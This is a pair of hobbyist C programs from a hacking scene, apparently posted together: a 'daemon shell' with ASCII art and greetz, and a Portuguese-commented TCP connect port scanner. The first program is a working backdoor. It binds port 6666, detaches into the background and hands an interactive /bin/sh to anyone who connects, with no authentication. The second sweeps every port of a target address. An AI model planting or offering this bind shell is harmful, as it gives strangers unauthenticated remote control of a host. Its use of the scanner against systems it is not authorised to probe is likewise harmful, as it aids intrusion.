/*
GarageCode coolest things Hehehe
http://GarageCode.tk

*Function this programm
this simple Daemon Shell in C language with fork 

*tested with GCC 
 i wheel on Unix/Linux/BSD this:
    gcc -o program program.c; ./program

Author: "Cooler_"  
contact: [email protected] or [email protected]
license: GPL2

visit this site: http://BotecoUnix.com.br
Real Geeks BotecoUnix

greetz 
Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug.

                               ,.   |\               /|  
     today we dominate the world!!  | \\  _ ///__  // |  What i do Brain ?
           _                _       |  \\/_______\//  |   
          /~\\            //~\      |  Y |   |   ||Y  |
         |   \\          //   |     |   \|   |   |/   | 
         [    ||        ||    ]     \    |  o|o  ||  /
         ] Y  ||        ||  Y [      \__  \_--_ /___/
         |  \_|l,------.l|_/  |       /.-\(____) /--.\
         |   >'          `<   |       `--(______)----'
         \  (/~`-^____^-'~\)  /           U// U / \
          `-_>-_(@)__(@)_-<_-'            / \  / / |
              /   (__)   \               ( .) / / /
              \___/__\___/                `.`' /  \      ART and CODE by Cooler_
               /__`--'__\                  |`-'    |
            /\(__,>-~~ __)                 |       |__
         /\//\\(  `--~~ )                 _l       |--:.
         '\/  <^\      /^>               |  `   (  <   \\
              _\ >-__-< /_             ,-\  ,-~~->. \   `:.___,/
             (___\    /___)           (____/    (____)    `---'
      
*/

#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
#include "errno.h"
#include "unistd.h"

#define  LISTENQ      1      // listen() backlog

int main (int argc, char *argv[])
{
      int lsocket ;      //listen()
   int csocket ;      // connect()

   struct sockaddr_in laddr ;   // estrutura do daemon
   struct sockaddr_in caddr ;  
  
   socklen_t len ;      
   // pid do fork
   pid_t pid ;      
  

   if((lsocket=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
   perror("socket error");
   return(10);
   }

   len = sizeof(laddr) ;
   memset(&laddr, 0, len) ;  
   laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
   laddr.sin_family = AF_INET ;
   laddr.sin_port = htons(6666) ;  
   if((bind(lsocket, (const struct sockaddr *)&laddr, len))) {
   perror("bind error");
   return(10);
   }
   if(listen(lsocket, LISTENQ)) {
   perror("listen error");
   return(10);
   }

// nosso fork
   if ((pid=fork()) == -1) {
   perror("Fork #1");
   return(20);
   }
   if (pid > 0) exit(0);  
   setsid() ;            
  
      len = sizeof(caddr);
      if((csocket=accept(lsocket, (struct sockaddr *)&caddr, &len)) < 0) {
      perror("socket accept");
      abort();
      }
  
   dup2(csocket,0);
   dup2(csocket,1);
   dup2(csocket,2);

   system("/bin/sh -i");
   exit(0);
}

/*simples tcp connect scanner
por
m0nad [at] email.com
*/
#include "stdio.h"
#include "stdlib.h"
#include "netdb.h"
//#include "sys/socket.h"

void
erro (char *msg)
{
  perror(msg);
  exit (1);
}
void
uso (char *prog)
{
printf ("%s ip_alvo\n", prog);
exit (1);
}
void
inicia_alvo (struct sockaddr_in *nome, int port, char *host)
{
  nome->sin_family = AF_INET;
  nome->sin_port = htons (port);
  nome->sin_addr.s_addr = inet_addr(host);
}
int
main (int argc, char **argv)
{
  int sockfd, i, conex;
  struct sockaddr_in alvo;

  if (argc < 2)    
    uso(*argv);
  for (i = 1; i < 65535; i++) {
    sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if ( sockfd < 0 )
      erro("SOCKET:");
    inicia_alvo (&alvo, i, argv[1]);
    conex = connect (sockfd, (struct sockaddr *)&alvo, sizeof alvo);
    if ( conex == 0 )
      printf ("porta %d aberta\n", i);
    close (conex);
    close (sockfd);
  }

}